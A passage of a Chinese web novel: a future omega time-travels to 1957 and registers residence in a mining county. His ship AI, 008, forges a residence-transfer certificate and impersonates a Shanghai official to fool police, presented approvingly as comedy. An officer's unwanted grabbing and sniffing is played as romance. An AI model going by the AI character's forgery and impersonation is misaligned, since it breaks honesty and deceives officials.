《omega在六零》 1. 第 1 章 1957年盛夏,兴安县城区。 灰蒙蒙的街道,破破烂烂的石板路。 街道两旁,是水泥和红砖新砌成的一排平房,招牌多是手写,淮山二矿澡堂、理发店、五金店铺…… 目力所及之处,最高的建筑物也不过两三层,其中就包括邮局和新华书店。 灰墙上随处可见油漆大红标语:“鼓足干劲,力争上游”。 “大办煤矿,发展经济。” “热情庆祝淮山二矿挖出第一车原煤!” 这附近大概就是淮山二矿的街道范围了。 楚虞定定地看着墙上的大红标语,神情有些恍惚。过了一会儿,有初高中学生骑着自行车热热闹闹路过,吵闹的欢笑声终于让他回神。 他背着军绿色书包双手交握,面无表情继续前行。 幸好,乍然来到1957年也不算文盲,都是源于华夏文明,未来时空3957年的文字和现在相比,勉强没有太大变化。 没错,楚虞是穿越的。 楚虞来自未来时空3957年。在遥远的未来蓝星科技进入大爆炸时期,人类离开蓝星,离开太阳系,在茫茫宇宙找到新的适居星球。 从此人类开始进化,从而诞生了六种性别的abo世界。 楚虞是omega,自幼便是被丢弃的孤儿,无父无母无任何亲友,在华夏政府的扶持下读书上学,十六岁毕业那年,被强制性分配工作——荒星巡航员。 每天日常工作,就是呆飞船上,在漫漫宇宙中沿着既定航线折返巡逻,记录沿途各个塔台运行数据。 这工作不难,但枯燥乏味全年无休,最让人难熬的,是漫长到看不见尽头的孤独。 想象一下,茫茫宇宙,独你一人。 从而诞生了宇宙公认的行业法则之一:荒星巡航员,狗都不干。 狗不干楚虞干,楚虞干的还挺开心,甚至工资攒下来斥巨资给自己买了个机械智脑,也就是008,上班搭子。 这工作一干就是三年。 三年后,考虑到楚虞的年龄以及身心健康,omega保护协会怜爱地给楚虞安排了一连串相亲,只要相中了Alpha,结了婚揣上崽,协会就能顺理成章帮楚虞调换轻松工作。 楚虞:? 谁能看上那帮没人要的大猪蹄子Alpha? 返航途中得知自己要相亲,楚虞吓得够呛,扛着飞船连夜奔逃,结果倒霉透顶,航速太快,一头撞进前方忽然闪现的虫洞乱流! ——楚虞认为自己必死无疑!但他没死,并且运气极好地穿越虫洞,穿越茫茫时空,来到了1957年。 无人知晓,来自未来的一艘飞船无声无息闪现在万米高空之上。 自从得知穿越到难以想象的、贫穷落后的1957年,楚虞在飞船上摆烂躺了足足八天。 八天。 飞船上的营养剂消耗殆尽,楚虞大清早起来发现自己可能要饿肚子,哀嚎一声继续躺平。 机械智脑008容不得他继续躺。 飞船大屏幕陡然亮了起来,一只戴眼镜的卡通小猫在屏幕上妖娆出现,执着粉笔,开始科普讲述1957年的时代常识。 “1957年,我泱泱华夏大国建国初期,社会主义制度基本建成。生产资料所有制的社会主义改造基本完成,公有制经济在国民经济中占据绝对优势——”(注1) 楚虞举手打断:“讲点我能听懂的。” 只见屏幕上的小猫顿了顿,哗哗翻书,最后清清嗓子,开始大白话指点,“首先第一步,你是黑户,得在当地搞个户口。” 根据资料记载,1957年户籍政策是城乡二元制,城市户口找工作方便,吃商品粮,月月定额发粮票油票等等; 农村户口靠天吃饭,面朝黄土背朝天,种了地还得交公粮,到过年才能分粮分钱。 008建议楚虞,“一步到位,咱搞个城镇户口,有了城镇户口方便后续工作上岗,努力挣钱,努力搞饭吃,努力过富有生活!” 楚虞并没有被鼓舞到,痛苦面具脸,“说的那么简单?我要哪个户口你就能给我弄哪个户口呐?” “请看。” 飞船机械臂伸出,将两张颜色发黄的纸张递至楚虞面前—— 《户口迁移证明》 “兹有我街道办居民-楚虞-同志,满腔热忱,无私奉献,思想积极,立志以实际行动为革命事业添砖加瓦!现申请支援淮山二矿建设,需户口迁移,请当地接收单位配合,予以办理。” 户口迁出地:上海xx区xxxx街道404号。 时间1957年6月28日。 右下角甚至还有上海当地xx街道办戳的公章,真的不能再真。 楚虞:? 楚虞不是不震惊,“你怎么弄来的?” 008呸他一声,语气恨铁不成钢,“小主人摆烂躺平八天,008查遍史书资料奋战八天。” “……”楚虞没敢吱声。 008冷酷,“经飞船扫描,下方附近有个县城是兴安县,地方不大但有煤矿,还有纺织厂水泥厂红砖厂,厂子开的多,就代表工人也多,经济发展还算可以,适合定居。” 最重要的是,兴安县不比大城市那般严格,在兴安县落户更方便。 至于《户籍迁移证明》,在兴安县公安局随随便便扫描一下,浅浅抄一下户籍资料,p图修改名字,二维打印,对008而言再简单不过。 “……!”楚虞大写的服气。 再低头仔细看迁户 证明,申请支援淮山二矿建设? 楚虞纳闷:“小八,这淮山二矿就是你刚刚提到的煤矿吗?” 008:“是的。” “为什么要我去支援煤矿建设?真要我下井挖煤?” “迁户需要理由。”屏幕上的00猫扶了扶粗框眼镜,解释道,“这年头迁户不是随随便便迁的,要么结婚了女方跟随男方迁户,要么工作调动,要么就是其他正当理由。” 而楚虞没有迁户的正当理由,只能硬着头皮编一个。 比如:青少年立志高远,为了崇高而远大的理想,为了支援淮山二矿建设,不远万里来到兴安县,吃苦耐劳,下井挖煤,立志以实际行动为革命事业添砖加瓦! 就这思想觉悟,任谁也挑不出错处来。 当然,大多数聪明人听了只会内心觉得这青少年有点傻缺。 楚虞:“………” 楚虞抹把脸,“算了,挖煤就挖煤吧。” 再说了,在哪里上班不是上班呢,现在不能继续做荒星巡航员了,他得另外找个工作挣钱吃饭。 毕竟飞船上没吃的了。 楚虞不是没想过努努力回到未来3957年,问题是他回不去,能穿越虫洞乱流走狗屎运存活下来,已经是不幸中的万幸了。 再让他穿一次虫洞,只怕他和飞船都得被撕成碎片。 既然回不去,那楚虞就必须融入这个时代。 飞船运行的能量来自于原石,一颗原石的使用寿命是三年,而仓库里还有两颗原石以供紧急备战使用。 另外,回到太阳系,太阳能更是一个取之不尽用之不竭的绿色清洁能源。 不用楚虞交代,008早已切换飞船能量来源,直接用上了太阳能,多余的太阳能甚至能反向给原石蓄电池充电! 所以理论上只要飞船的基础功能不损坏,就可以永远运行在天上。 飞船具备隐形功能,可以在万米高空的云层之上一年365天停驻,楚虞却不能天天在船上宅着。 他需要营养剂,不,是需要吃的,否则就要凄凄惨惨饿肚子…… 认清现实,楚虞花了一上午的时间,在飞船上恶补1957年的时代常识,努力熟悉发音略有区别的当代华国语言! 中午十二点,怀着忐忑的心情,楚虞饿着肚子收拾背包,准备离开飞船,踏入对他而言完全陌生的世界。 似乎看出了楚虞的惶恐不安,008难得温情一秒,安慰他,“小主人不用怕,还有008在呢。任何时间任何地点,只要你抬头,飞船就在天上,大门永远向你敞开。” 楚虞十分感动,“小八,爸爸爱你。” 话音刚落,008操控飞船机械臂,冷漠一脚把他踹了下去。 * 2. 第 2 章 正午时分,太阳高高挂在天上,阳光炽热刺眼。 楚虞穿一身不起眼的灰色休闲服,踩着牛皮短筒军靴,背着军绿色大书包,在破破烂烂的石板路上闷头行走。 前面不远处便是兴安县公安局。 穿着白色公安制服上衣的男人倚着墙,一双桃花眼微微眯了起来,饶有兴趣地看着楚虞越走越近。 楚虞:…… 楚虞目不斜视,走到公安局大门前,大着胆子问:“同志,请问迁户,就是办理户籍是在这儿吗?” 他说话声音清脆悦耳,但发音不太标准,像是有点地方口音,但能让人听得懂。 空气中隐隐约约不知哪儿带来一股玫瑰花香。 男人深吸了一口气,目光迷惑四处张望,最后视线下移,盯住了楚虞。他语气漫不经心的,“办迁户啊?” “对。”楚虞点头,严肃着脸,努力制造出一副生人莫近的气场。 原因无他,男人个头明显比他高,瞧着有一米八了,皮肤被晒成健康的小麦色,一头短寸,剑眉星目鼻梁高挺,看起来年轻英俊。 但楚虞不能忽略他白色公安制服下隐隐露出的肌肉曲线,以及他肆无忌惮上下打量自己的目光。 二者叠加,这很容易让楚虞感到不安。 就像Alpha总是让omega感到不安。 兴许是天气太热阳光太晒,楚虞变得有点焦躁,试图绕过眼前气势过强让omega讨厌的男人,直接踏进公安局大院。 两人擦肩而过,只听男人慢吞吞开口指路,“进去左拐,第二个办公室办户籍。” 楚虞微不可查的松口气,想也不想礼貌回复,“谢谢。” “哦,不用谢。”男人似乎被楚虞绷着脸的模样逗乐了,噗嗤笑出声,跟着楚虞一块走进公安局。 “玉珍姐,有人办户籍!”男人去隔壁喊。 “哎,找我呢。” 话音刚落,有人风风火火从隔壁办公室跑了出来,是三十岁左右的年轻女性,齐耳短发,圆圆脸,笑起来脸颊两侧有梨涡,面相很是讨人喜欢。 乍然看到院子里的楚虞,万玉珍明显愣了一下。 眼前的小少年看起来十七八岁,高高瘦瘦挺拔如松,皮肤白的亮眼,头发乌黑微微带着自然卷,一双黑眼珠像葡萄似的。 多少年没见过这么标志的小少年了。 她暗暗赞叹,目光不留痕迹扫过楚虞的衣着,看起来面料崭新没有半点打补丁的痕迹……条件应该不差。 收回视线,万玉珍手里拿着织一半的毛衣针线,一边进户籍室一边热情招呼,“快进屋快进屋,外头大太阳晒死个人。” 走进户籍室,一阵凉意扑面而来。 屋里开着电风扇,像是年久失修,偶尔传出吱呀吱呀卡壳的扇叶声。 户籍室不大,两张办公桌红漆斑驳,后面是木头柜子,档案册塞的满满当当。 “办户口是吧,有迁户证明吗?”万玉珍放下毛衣针线,转了身嗓音利落。 楚虞把008提前准备好的迁户资料递过去,面上淡然,心里却禁不住有点紧张。 这户籍是008假造的,天知道能不能过关呢。 万玉珍接了资料回办公桌坐下,仔细看了看,语气诧异,“哎呀,从上海迁来的呀,要去淮山二矿?” “对,”楚虞唯恐多说多错,多余的字眼一个都不提。 “这资料倒是挺全的……”她语气似乎有点为难。 迁户嘛,倒是不奇怪。 这两年兴安县大办煤矿,就在附近那片荒山坡,从无到有,先是淮山一矿,紧接着是淮山二矿,搞的是如火如荼。 为了煤矿开发,上头省委抽调了大量干部、工人支援淮山建设,各路施工队伍和数万民工都涌过来了。 随之而来的结果,便是大量的外来户口迁至兴安县淮山。 但那都是去年的事儿了,集体迁户是上头专门打过招呼的,人员登记花名册写的清清楚楚,办手续当然顺利。 很少会有单独一个人主动申请迁户去淮山,还是来自上海,未免太远了一些…… 出于职业本能,万玉珍觉得不大对劲,看了一眼楚虞,不动声色道:“同志,你在这等等,我去请示领导啊。” 楚虞稳住不慌,点点头,看着万玉珍急匆匆出了办公室。 …… 公安大院里,男人端着搪瓷缸仿佛幽灵般再度出现,伸脚挡住了人,“怎么出来了,不是给人办迁户?” 万玉珍心底揣着事,正忙着呢,差点被他绊一脚,没好气的骂,“谢磐石!你犯病了找别人疯去,我可忙着呢,让开。” 谢磐石哦了一声,淡定侧身让路,就见万玉珍脚步匆匆直奔局长办公室。 不就是办个迁户,至于找刘局请示吗? 谢磐石对此不感兴趣,皱了皱鼻子,仿佛狗一样的追着空气中似有似无的玫瑰花香,最后来到了户籍室…… 他沉默一瞬,探头看一眼屋里乖乖坐着的楚虞。 恰好和他目光对视的楚虞:“……” ——看什么看,看什么看,就你闲得没事到处瞎看! 实不相瞒,楚虞莫名的有点怕他,omega趋利避害的直觉一般不会出错。 想到这里,楚虞绷着脸不主动打招呼,也不跟 男人说话。 谢磐石看着他微微鼓起的两颊,视线飘忽,不知怎么想到了关在笼子里养的肥嘟嘟睡得打呼噜的土狗崽子。 这想法让谢磐石眼里透出笑意,他走进办公室,手里正冒着热气的搪瓷缸“砰”的一声放到桌上。 忽如其来的声响,吓得桌对面的楚虞愣是抖了一下。 谢磐石脸上微微笑,很是无害的模样:“给你泡了茶,请喝茶。” 楚虞:“……” 楚虞垂眼瞥那搪瓷杯,杯子整体呈白色,侧面印着大红标语“劳动者光荣”,杯口描着一圈鲜红的釉上彩,嘴唇常碰的那一块,红漆早已磨得干干净净,露出灰白的底色。 楚虞盯着那块脱色的地方,心想这杯子得用了多久?又或者说,不知道被多少人用过,天天对着同一个位置喝…… 楚虞多少有些洁癖,眉头紧皱,悄悄把视线移开了。 谢磐石像是看出了他的想法,认真强调:“这是我自己喝水用的搪瓷杯,没有别人用。” “……”这有什么区别吗。 楚虞拒绝喝茶,眼观鼻鼻观心,继续当哑巴。 谢磐石笑了,迈着长腿慢悠悠地绕过办公桌,忽然倾身靠近楚虞。 “你干嘛?”楚虞被他吓一跳。 只见谢磐石终于露出真面目,陡然抓住楚虞的衣领,挺拔的鼻梁本能地贴近楚虞脖颈,像只大狗四处嗅闻。 “我就说在院子外头不是错觉,你身上好香,好香的玫瑰花香,好香……” 听到这话,楚虞整个人都呆住了——他自己的信息素味道确实就是玫瑰花香。 离开飞船前楚虞专门恶补过1957年的时代认知,这时候的人类尚未进化,没有abo六种性别,自然不可能闻到omega信息素的味道。 008也斩钉截铁告诉他,从今往后出门没有必要再给后颈贴信息素抑制贴,因为这年代的普通人类绝对闻不到楚虞身上的玫瑰花香! 楚虞先前在街道上磨磨蹭蹭走了半晌,身旁路过了不少人,男女老少都有,确实没有一个人对他身上的信息素有反应。 可是——! 眼前这个嗅来嗅去的神经病到底是怎么回事? 楚虞气得咬牙,恶狠狠推开男人的狗脑袋,佯装无辜无知的语气,“你在说什么,什么花香?” 谢磐石有生以来头一次,沉迷浓郁玫瑰无法自拔,几乎快要把人禁锢到怀里了,“好香……你自己闻不到吗,是玫瑰花香。” “你有病吧!”楚虞死不承认,愤怒挣扎,“放开我,我闻不到!” “别动!让我多闻闻。” …… 3. 第 3 章 那一头,局长办公室。 万玉珍讲了楚虞迁户的来由,“……领导,您看这迁户手续,能办吗?” 刘局捏着递过来的迁户证明也是满头问号,心想上海那地方多好,是城里的好日子过的太腻歪,挖煤吃苦来啦? “上海来的?主动支援淮山建设?” 万玉珍悄声,“是呢,上海离得远,我担心这证明有问题。” 刘局不以为然,摆摆手,“这简单,他这不是写着上海哪个街道办的具体地址吗?直接打个电话问问。” 公安局传达室有安装电话,电话辗转几道拨过去,并不是立马就能联系上当地街道办的办事人员,要等对面的接电员去喊人。 足足等了十来分钟,电话终于拨回来了,对面不出意外地响起一道冷冰冰的机械质感嗓音,“同志,您好,有什么事?” 这嗓音怎么听着怪怪的。 万玉珍看了一眼话筒,没再多想,开口问楚虞迁户的事情。 公安局上空,飞船无声无息在天上隐形悬浮,008掐着虚拟电话线,模仿当地上海人说话,“那谁晓得嘞?伊看到报纸上的文章,讲啥个淮山二矿搞了轰轰烈烈,一定要去支援建设……” 008满嘴胡言:“阿拉劝阿劝过了,呒没用场,硬劲要去,侬拉看着办,户口接收好唻……放心放心,人没问题个,阿拉看着长大个,皮肤雪雪白,头毛卷卷个,样子标致,呒没人冒充得来……” 挂断电话,万玉珍止不住翻白眼,“上海人了不起啊,前面说的还能听懂,后面就讲你们上海本地话了,听着费劲。” 电话那头说楚虞皮肤雪白,头发带着自来卷……万玉珍想了想楚虞那张漂亮出众雌雄莫辨的脸,心想确实如此,旁人想冒充也冒充不来啊…… 确认了户籍来源地没问题,她多少松了一口气,只要不是搞破坏的可疑分子,怎么着都行。 这两年兴安县淮山煤矿开发,年产量上来以后,搞得越来越红火,甚至有段时间天天上报纸,上头省委的领导隔一阵就下来视察……引来了不知多少关注。 公安局派发下来的红头文件也是隔三差五强调,严打期间,严禁破坏,保证生产! 出了传达室,热浪扑面而来。 万玉珍擦了擦脑门上的热汗,又是风风火火跑回办公室。 屋里沉迷玫瑰的谢磐石耳朵微动,听到越来越近的脚步声,蓦然松开了怀里挣扎扑腾的楚虞。 楚虞挣扎的劲儿还没收,被他猛然松手,踉跄地就要往地上摔去。 谢磐石及时扶住他的腰,嗓音低不可闻,“小心一些,玫瑰花。” “……”去你大爷的玫瑰花。 楚虞气得浑身发抖。 万玉珍踏进办公室,就见谢磐石毫无公职形象懒洋洋地歪坐在椅子上,楚虞则是冷着脸远远地坐在屋子另一角,仿佛躲狗似的。 左看看右看看,万玉珍一时摸不着头脑,“楚虞同志,你没事吧?” 楚虞勉强笑笑,一心想着办完落户手续逃离公安局,“没事,我户口能办了吗?” “当然能,你再坐着等会儿啊,很快的。” 万玉珍手脚麻利翻出库里的档案册,登记户籍,迁移盖章,接下来楚虞的迁户手续办的很顺利。 “楚虞同志,我这儿手续差不多了,”万玉珍热情招呼,“你拿着这些证明,再去淮山二矿街道办,找一个叫葛婶儿的,有她帮你办粮食关系,安排你住哪儿……” 见楚虞听得满脸迷茫,万玉珍反应过来,猛拍大腿,“楚虞同志,你在这儿人生地不熟,不认识路吧,需不需要我找个人给你带路? 楚虞:“啊不用——” 话还没说完,万玉珍没好气伸手,指着桌对面坐没坐相的谢磐石,“就你了,帮楚虞同志带个路。” 谢磐石当即乐了,“行啊。” 楚虞巴不得离谢磐石远远的,当即黑了脸,“谢谢,我不需要带路,我可以自己问路!” “没事儿,走呗。”谢磐石心眼儿坏,仗着个高腿长,抬起胳膊就 往楚虞肩上压,勾肩搭背地把人从办公室拖了出去。 楚虞又一次落到谢磐石手里,震惊到半晌回不过神。 光天化日朗朗乾坤! 怎么能有人不要命了胆大包天欺负omega?天眼系统呢,omega保护协会呢,快来抓流氓啊,关他十年八年! 然而残酷的现实摆在了眼前,1957年并没有无处不在的天眼系统,也没有omega保护协会。 楚虞欲哭无泪,挣扎不过谢磐石的力气,他浑身僵硬,隔着一层薄薄的衣衫,男人身上炽热的体温传递过来,仿佛烫的他后颈腺体也开始发热。 “你、你放开!”楚虞挣扎抗拒。 出了公安局大院,谢磐石没再勾肩搭背,顺势放开了楚虞,语气幽幽的,“我看你和万玉珍说说笑笑,挺讲礼貌,怎么见了我就爱搭不理的?咱们今儿第一次见面,怎么着,我哪儿招你生气了?” 这还用问?哪有你这样上来就不要脸耍流氓、闻omega玫瑰花香! 臭流氓。 楚虞暗暗唾弃他,没说话,闷头向前走。 谢磐石憋着笑,“回来回来,路走反了,淮山二矿街道办在这边呢。” 楚虞脚步顿住,深吸一口气,转了身往回走。 路上太阳高照,晒得人身上渐渐冒汗,脚下破破烂烂的石板路仿佛都是烫的。 楚虞热得烦躁,他在温度适宜环境非常舒服的飞船上呆惯了,可能短时间内不太适应这个时代的盛夏高温天气。 在这样的高温天气下,楚虞能闻到空气中一股浓烈的、芬芳馥郁的玫瑰花香,像无数朵玫瑰同时在鼻尖绽放,宛若置身花海。 ——玫瑰花香,这是独属于楚虞的omega信息素的味道。 楚虞从小到大习惯了自己身上的玫瑰花味,并不觉得稀奇,甚至习以为常。 然而他身旁的谢磐石仿佛脑子有大病,一边走一边闭着眼深深陶醉其中,“好香好香,宝宝你好香……” 楚虞:“。” 4. 第 4 章 淮山二矿街道办。 一排红砖新砌成的平房,其中一间,门口挂着二矿街道办公室的木片招牌。 “您好,请问街道办的葛婶儿是在这里吗?”楚虞礼貌打听。 办公室里头,葛翠芝正坐在工位上纳着千层底,闻声当即抬起了头,“哎找我是吧,在这儿在这儿……” 楚虞走进房间,佯装腼腆地笑了笑,开门见山,直接把刚才在公安局办好的落户资料递了过去。 “葛婶您好!我是楚虞,来支援咱们淮山二矿建设的!公安局办户口的同志叫我来这儿,说是您给安排……” 葛翠芝听得满头雾水,把资料接到手草草翻看两页,从上海迁来的户口,今天刚把粮食关系落到了淮山二矿街道。 到了淮山二矿街道,那楚虞确实是归她安置…… 葛翠芝抬起头来,目光闪烁打量楚虞,方才尽顾着看手上的迁户资料,没注意楚虞的样貌,如今一看才发觉眼前一亮,高高瘦瘦唇红齿白,皮肤简直白的发光…… 楚虞被她打量的不大自在,他自幼不喜欢和人打交道,从前在福利院是没得选,必须和老师同学友好社交,维持良好的社会关系,否则独来独往的性子更不利于他日常生活。 自从十六岁毕业,他上了飞船高高兴兴做荒星巡航员,连续三年在宇宙独自航行,更是养成了远离人群不爱社交的孤僻性格。 楚虞不安地双手交握,忍不住出声催促,“葛婶儿,我的手续能办吗?” 葛翠芝顿时回神,“能能能,我这就给你办。” 她说话明显带着兴安县当地的口音,是本地方言,这让楚虞听着有点费劲,但认真听,勉强能听得懂。 好在不是所有人说话都是难懂的方言,比如方才公安局办户籍的万玉珍,还有谢磐石,两人都是一口标准流利的普通话。 也不对,楚虞悄悄斜眼,看向了身旁面无表情一言不发的谢磐石……谢磐石说话其实带点不同于兴安县的口音,就是不知道是来自哪个地方的口音了。 那一头葛翠芝开始忙活,粮食关系不难办,淮山二矿街道办成立不到两年,算是东凑西拼拉拔起来的草台班子,一应手续没那么正规复杂。 她这边街道办登记存档,从抽屉里拿出新的粮油供应本——也就是两个本本,粮本和副食本,分别填上楚虞的基本信息,再去县里的粮管所、商业厅走一圈。 确认楚虞每月应当发放的定额粮以及日用品比如洋火柴肥皂有多少…… 统购统销,计划分配。 不过城镇户口每月定额粮和日用品的发放份额,和本人是否工作以及工种待遇挂钩。 填到楚虞的基本信息,葛翠芝犯了难,面色发愁,这工作岗位和具体住址该怎么填呢? “楚虞同志,你是来支援淮山二矿建设的,咱们二矿热烈欢迎,就是这情况……” 淮山二矿是缺人,煤洞越挖越多,只要运出来的原煤越多,年产量也就越高。 也因此,为了维持矿山产量,煤洞里少有消停安静的时候,工人们三班倒,白天黑夜挖煤运煤,脱了衣服浑身上下都是黑炭,只有牙是白的。 几乎是煤灰腌入味了。 就这,矿长三天两头还嫌人不够用呢。 淮山附近生产大队的村民,若是农闲没事干,只要吃得了下洞挖煤的苦,也能去下洞,挖多少按多少结算钱,挣的都是辛苦钱,当然这待遇指定比不上正式工。 要想当淮山二矿的正式工,哪有这么容易? 没个人情关系,任何人来了都得从临时工做起,先根据工作表现考察个一两年,这就筛掉了不少人,毕竟不是所有人都吃得了下洞挖煤的苦,还危险,时不时出个塌方事故…… 临时工的考察期过了,再看转正名额有几个,分配给谁,这又是以后另一档子的事了。 葛翠芝絮絮叨叨讲了不少。 越是讲的多,她脸色越是为难,看楚虞脸蛋白白净净目光懵懂清澈的模样,这身上穿的衣服没有一处打补丁,想必家里条件不错,从小到大没吃过苦。 大城市里出来的孩子,怕是连矿山都没见过,仅仅凭着一腔热血满心期待来到兴安县,他哪里知道下洞挖煤有多苦有多累?又能坚持几天呐? 可是不让他下洞挖煤,安排去二矿机关科室也不成,那岗位都是香馍馍,一个萝卜一个坑,要么有技术有本事,要么就是关系户。 葛翠芝有点替楚虞发愁。 要不,先不给楚虞办粮食关系,她厚着老脸和矿长说一声,让他去矿山下洞挖煤,体验几天吃吃苦,兴许他知难而退就改了主意,想回上海了呢。 没等葛翠芝把这个想法说出口,楚虞便点头答应道:“可以的,我愿意从临时工做起,先下洞挖煤。” 离开飞船之前,008也和楚虞苦口婆心讲解了一遍,去了淮山二矿就得从临时工做起,下洞挖煤是很苦很累,但苦不到楚虞——因为他有来自未来的高科技金手指! 当然,这些就不能对外说起了。 见楚虞态度坚决,葛翠芝瞪眼,“真想好了啊,这下洞挖煤没你想的那么容易……” 楚虞笑笑,拿出008提前教给他的说辞,提高了声音响亮道:“干革命嘛,哪有不吃苦不受累的?都是为了支援矿山建设!” 说罢,楚虞抬起一只手,用力握拳,做足了一副下定决心不怕苦不怕累的傻缺模样。 葛翠芝:“……” 谢磐石:“……” 饶是谢磐石全程面无表情不发一言,这会儿也变得神色复杂,看楚虞像是看狗。 玫瑰味的小蠢狗。 葛翠芝没法子了,低下头,拿钢笔给崭新的粮本副食本上填了楚虞在二矿临时工的岗位,至于住址…… “咱矿上去年建了集体宿舍,临时工也能住。不过嘛条件有限,人多,房间不够,是大通铺,几十个汉子挤一块睡——” 话还没说完,就见楚虞瞳孔震惊,仿佛天塌了一样,脸色极度抗拒,“不可以!我不能接受和别的男人挤着睡!” “……”葛翠芝眼角抽抽,“集体宿舍也没那么差,就是住的人多,挤了点,那附近还有新修的大众澡堂呢,就算是临时工也能每个月免费领一张澡票,进去洗洗煤灰。” 楚虞丝毫不为之所动,他可以睡飞船,也能在飞船上天天洗澡! “谢谢!但我不需要你们安排宿舍床位了,”楚虞无比认真道,“这绿本本上的住址先不填,等回头我在附近找到合适的租房,再补上行吗?” “当然行。”葛翠芝笑了笑,站起身去看外头的天色。 这会儿太阳高照,估摸着是下午一点多两点,还早呢,带 楚虞去矿山见见矿长,接下来的工作安排就归矿长管了。 依着矿长雷厉风行的做事风格,兴许楚虞当天就能跟着带班师傅下洞,学习如何挖煤了呢。 什么,上岗前的理论培训、安全培训呢? 拿铲子凿煤、挖煤、用背筐运煤这种活儿还需要培训教吗?跟着老师傅下洞做一遍就能直接干了,不需要一丁点技术门槛。 至于安全培训,1957年没有安全意识。 煤矿建立不到两年,条件有限设备采买艰难,连工人下洞的探照灯都没法配备齐全了,更何况其他呢。 矿山井下的工作不止挖煤这一项环节,还包括打眼、放炮、支护……不过这些更复杂更专业的工作环节,就需要楚虞以后慢慢学了。 总而言之,下了洞,先从最简单、最苦最累的挖煤运煤开始做起。 “楚虞同志,我带你去二矿见见矿长。”葛翠芝转头招呼。 然而楚虞不着急立马上岗工作,“葛婶,我明天一大早再来找您行吗?一会我还有其他事要忙,另外还要找找附近哪里可以租房……” “也行,”葛翠芝沉吟道,“这街道附近的左邻右舍我都熟,一会忙完正事,我也出去帮你打听打听,看看哪里有空置的房子出租。” 说是这么说,葛翠芝并不抱有希望,这年头家家户户挤着住,哪里有空房可以出租呢。 说罢,她没忘记问楚虞,关心道:“今晚你有住的地方吗?” “有呢,我住——我住招待所!”楚虞擦擦汗,差点忘记这年代提供住宿的地方叫招待所。 听他说住招待所,葛翠芝摇头叹气,果然是不当家不知柴米油盐贵,招待所住一晚最便宜的也要五分钱呢。 五分钱拿去粮店都能买一斤糙米了。 再想想自家情况,一大家子八口人,两间房挤得满满当当,是腾不出来半点地方收留楚虞住一晚了。 葛翠芝表示爱莫能助,“楚虞同志,你先忙,我也赶时间去粮管所跑腿给你办粮食关系呢,这样明天一早把粮本副食本交给你,也方便你去矿上食堂兑买饭票。” 说到饭票,楚虞忍不住舔了舔唇,摸摸饥饿难耐的肚皮。 他今天还没吃饭呢。 和葛翠芝道了别,离开淮山二矿街道办,楚虞迷茫地走在路上,只觉越走越饿,肚子饿得咕咕叫。 好饿。 没钱吃饭怎么办。 他暂时没心思去琢磨怎么搞钱,只想立刻马上,吃饭!吃饭!吃饭! 这不能怪楚虞一心惦记吃饭,因为前面不远处出现了“国营饭店”的大字招牌…… 听说这年头下馆子光有钱没用,还要粮票。 楚虞没钱没粮票,目光飘忽,看向了身旁一直跟着他、沉迷玫瑰花香寸步不离的冤大头·谢磐石。 ——宇宙公认名言名句:人在面临极度饥饿的时候,总是能轻易放下一切恩怨。 楚虞决定暂时不计较谢磐石对他耍流氓的事儿了(^~^) 危机时刻,omega能利用一切,包括用美貌换取白吃白喝一顿。 生怕谢磐石看不懂,楚虞停下脚步,咳了咳,先是瞟男人一眼,再瞟一眼远处的国营饭店,最后抬起手十分明显地摸了摸饿得咕咕叫的肚皮。 接收到微妙暗示的谢磐石:“………” 5. 第 5 章 谢磐石觉得自己脑子进了水,才会答应楚虞请客吃饭。 兴安县国营饭店。 刚走到门口,空气中葱花炝锅的香气扑面而来,楚虞忍不住深吸一口气,馋的口水都快出来了。 好香好香,什么饭闻着这么香? 不怪楚虞无知。 在未来星际时代,人类饭桌上摆的大多都是营养液,科技合成营养全面,价格低廉口味多样,备受大众欢迎。 楚虞喜欢吃西瓜味、葡萄味、芒果味的营养液,随便挑一样,和蒸软的沙豆拌一块吃,别提多香了。 当然,价格更加昂贵的天然蔬菜炒菜之类他不是没试过,比如番茄炒蛋,看着卖相极好,实际上寡淡无味,吃到嘴里仿佛嚼纸皮嚼不烂的奇怪口感…… 再比如烤乳猪,烤得表皮焦脆滴油,吃到嘴里,仍然是熟悉的纸皮嚼啊嚼不烂的口感…… 让人无比失望抓狂。 自从楚虞做了荒星巡航员,挣了大钱,斥巨资试过七八次所谓的“饭菜”以后,老老实实回归顿顿营养液的大众生活。 曾有搞农学以及畜牧养殖的专家教授痛心疾首在星网上公开吐槽,痛骂千百年前的人类不该离开蓝星,不该离开太阳系,导致带出来的初代种子在不合适的星球土壤上一致长成了千奇百怪的口感…… 瓜没瓜香味,猪没猪肉味……要知道曾经的华夏是举世闻名的美食大国……! 想到这儿,楚虞舔了舔唇,越发期待地跟上谢磐石的步伐,走进国营饭店。 眼前的饭店很是简陋,地方并不大,大厅里摆着十几张破旧小方桌,零星坐着七八个穿矿山蓝色劳动工服的工人,饭店前台的服务员热得直摇扇子…… 来到前台,楚虞仰起脑袋,认真看向黑板报上的价格表: 一个烧饼七分钱。 一个大肉包子一角钱。 一碗素汤面一角四分钱。 …… 楚虞认字认得磕磕绊绊,一水的菜单价格基本上全部顺利地看下来了。 哇。 完全没有熟悉的营养液! 看着各式各样的菜名,楚虞急得不行,上手抓住谢磐石的公安制服,怎么办,每一个都没吃过,每一个都想尝一尝。 不等他狮子大开口,就见谢磐石面无表情,敲了敲前台桌子。 服务员起初头也不抬,仍然哗哗摇着扇子,态度嚣张不客气,“要吃什么菜,自己看黑板报。” 谢磐石不吱声。 服务员纳闷抬头,乍然看清谢磐石的脸,吓得手里的扇子都飞了,当即跳起来热情招呼,“哎呀谢公安,好久不见,今儿来下馆子啊?” 谢磐石脸色不渝,淡淡地嗯了一声。 两人明显认识,兴安县就这么大,方圆几十里只有一家国营饭店,多下几次馆子,怎么着也能混个脸熟。 服务员是个年纪不大的小丫头,见到谢磐石不禁暗暗叫苦,心想这煞神平均一个月下馆子三四次,前天不是刚吃过一顿嘛,怎么这么快又来? 她是怕了谢磐石了。 自打去年夏天谢磐石调来兴安县,第一次去国营饭店吃饭,他没穿公安制服,她有眼不识泰山,态度爱搭不理及其嚣张傲慢! 然后,然后就被谢磐石抓进局里关了一下午。 小丫头哭得眼睛都肿了,自此洗心革面重新做人,在饭店前台老老实实热情服务。 就今儿难得一次犯了老毛病,天太热,上班让人烦躁! 她胆战心惊,动作麻利去拿铅笔纸本,笑得牙不见眼,“谢公安,您想吃什么?我给您记!” 谢磐石半靠着前台,熟练点餐:“一盘醋溜土豆丝,一碗红烧肉,两碗黄米饭,三个白面馒头。” “谢公安,今天店里没供白面馒头,只有烙饼。” “那就三张烙饼。” 